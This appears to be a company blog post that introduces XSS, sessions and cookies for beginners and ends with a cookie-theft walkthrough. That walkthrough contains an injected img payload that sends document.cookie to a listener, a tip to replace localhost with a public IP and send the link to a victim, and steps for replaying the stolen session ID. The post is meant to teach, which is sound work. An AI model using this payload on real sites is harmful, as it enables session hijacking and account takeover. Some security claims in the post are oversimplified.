What is data integrity and security?
David Capela, System Administrator
As everybody knows 2020 was quite a year and, to be honest, I think I’ve seen it all.
We can’t deny that while we were locked up inside our homes we did stupid things on the internet such as opening an attractive email that gives a reasonable discount on groceries from email@example.com or opening a link from a cute girl with 10 followers that sent a DM on Instagram.
Don’t get me wrong—difficult times negatively affect most people’s decision making. It’s inevitable. To make a point, a report from the World Health Organization (WHO) stated that even they were flooded with malicious attacks directed at their staff members who were working on the coronavirus response force.
450 compromised accounts were leaked in a single week to be exact, so if WHO isn’t safe, why should you think you are?
If you made it here that means you are probably a bit concerned about the integrity and security of your data. For today’s topic, I will introduce you, in a very kind way, to a well-known attack called XSS (Cross-Site Scripting).
XSS is not a common attack as a good percentage of websites are protected against it, which, in my opinion, makes new web developers neglect this old trick. Grab your coffee and get ready for a security adventure, and if it’s your first one, I hope it’s as interesting for you as it is for me.
What is an XSS attack?
By definition, an XSS or Cross-Site Scripting attack is a type of injection of malicious code into vulnerable websites. This often occurs when an attacker uses a web application to send malicious code, generally in the form of a browser-side script, to a different user than themself.
To ease your comprehension, I’ll divide it into logical steps and try to explain it as I would to a five-year-old.
It can be inserted almost anywhere in the HTML page the server sent you because the page is yours to fiddle with. You read it right. It's yours: it's your browser that renders the page the server sent you, so you can manipulate all the HTML from your side.
It's like asking for a photocopy in your stationery store of an original book that you don’t own, changing it, and then sending it to someone convincing them that it is the real one.
It’s that easy, you also can change the password fields to be visible on every website, just like this:
Change the password type to text:
and voilá, the text field is now visible.
This HTML manipulation is transversal to all websites, but on the protected ones, this change is only visible to you.
What is a Session?
You have probably already heard about this, and I think the majority of the new developers are afraid of this topic because they never really understood the importance of it. Fortunately, I wrote this example to prove to you that sessions can be really easy to understand. Let's get started!
Imagine this: I attend a bar near my college which has the best beer and sandwiches of them all. When I get there, I don't need to tell the waiter what I want because he has known me for years. So, with eye contact and a simple head shake, I have the beer and that crunchy sandwich I love served at my table.
One day, that waiter was sick and so another employee that works the morning shift was covering his section. When I arrived I had to tell him who I was and what the special ingredients of the sandwich I wanted were, which is natural.
He didn't know who I was despite the fact that I spent most of my college time in that sacred establishment, and yet the next time I went there he knew what I wanted. That's a good analogy for sessions. It’s almost the same on your web app: a session is a mechanism that stores some information about a given person, but when they change the computer they're accessing, that website doesn’t know who they are anymore. So they have to tell him who they are, the same as I had to before I could order my beer without asking for it again.
By now you're probably asking, “What if I show an ID that isn’t mine?” Well, then you usurped someone else's identity. But that's not that easy. The IDs are very difficult to rob as they are encrypted instead of left in plain text.
What are those cookie things?
As I stated, you need to provide an ID for them to know information about you, but do you ever remember doing such a thing everytime you go to Facebook or other websites?
That's where cookies play their role. Cookies exist so the server doesn't have to store minor pieces of information like what's in your shopping cart. When you access a different tab, you are still logged in because the browser saved the session ID in your cookies.
Don't get me wrong. That is some valuable information, but it can be easily stored client-side as it is not critical info and it is also sometimes encrypted. When you access Facebook, you don't have to go through the burden to log in every time because you have your session ID stored in your cookies.
Therefore the server has access to all the information regarding your session and can retrieve data without any effort from you. That's the beauty of cookies; they reduce the work substantially from either side. But, be aware, because it can be a double-edged sword, and I'm going to prove it to you.
Let's mix all these
If you understood the previous topics, then you're ready to be a hacker. 😉
Now, I will present you with an example of how to hijack a victim's identity by getting their session ID from the cookies and sending it to a local server with injected malicious code.
As I said, you have a session ID stored in your cookies, so let's check it out (cookies can be viewed in your browser development tools).
The PHPSESSID is usually the name of the cookie used by sites using PHP in the backend.
As you see, the session is exposed to the user. And the question is: can we get it and send it to someone? I guess we'll find out.
Usually, this is what you can expect when you insert something like this in a search bar on an HTML page:
If the website is vulnerable to XSS, it will show something like this:
And, if you use a browser variable to point to your cookie like document.cookie it'll show something like this:
Let's try to send this to a local TCP listener on our machine. To do so, we're going to start the TCP listener on port 80.
Then, insert the malicious XSS code. In this case we're injecting an image with a manipulated URL:
https://github.com/favicon.ico width=0 height=0 onload=this.src='http://localhost:80/?'+document.cookie>
This is the result presented by the listener:
As you can see, the listener is showing the session ID I had in my cookie, so the URL is prepared to be sent to your victim. Don't forget to change the localhost to your public IP.
This is a HUGE vulnerability from the server, as I can easily use this session ID, insert it in my cookies, and VOILA! I'm suddenly in another person's account without even knowing their password.
How do you prevent this?
It's easier than it seems. The only thing you need to add is an input filter that filters all special characters. There are a bunch of already made functions that give you something like this. In PHP you have htmlspecialchars() to receive the user's input.
We all should have some sense of security as it is, but it’s more than ever, becoming one of the most critical subjects for all of us who use the Internet and depend on it for a monthly wage. I also hope we can get to a point in the future where there is more education regarding this and we start closing the gap in overall general education such as high school. With this, a tremendous amount of cyberbullying would likely disappear.
This type of attack is a powerful weapon for hijacking identities. And with great power comes great responsibility.
The purpose of this article was for education only.
Do not try this on websites that you do not have permission to. I hope you enjoyed this article as much as I did writing it.
About the Author
David Capela, System Administrator
I’m a simple person, who loves to read about cybersecurity as it enhances my learning capability and gets me closer to my final goal: taking a master’s degree in cybersecurity and getting a job in this field. I also like to ride a motorcycle.
– – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – – –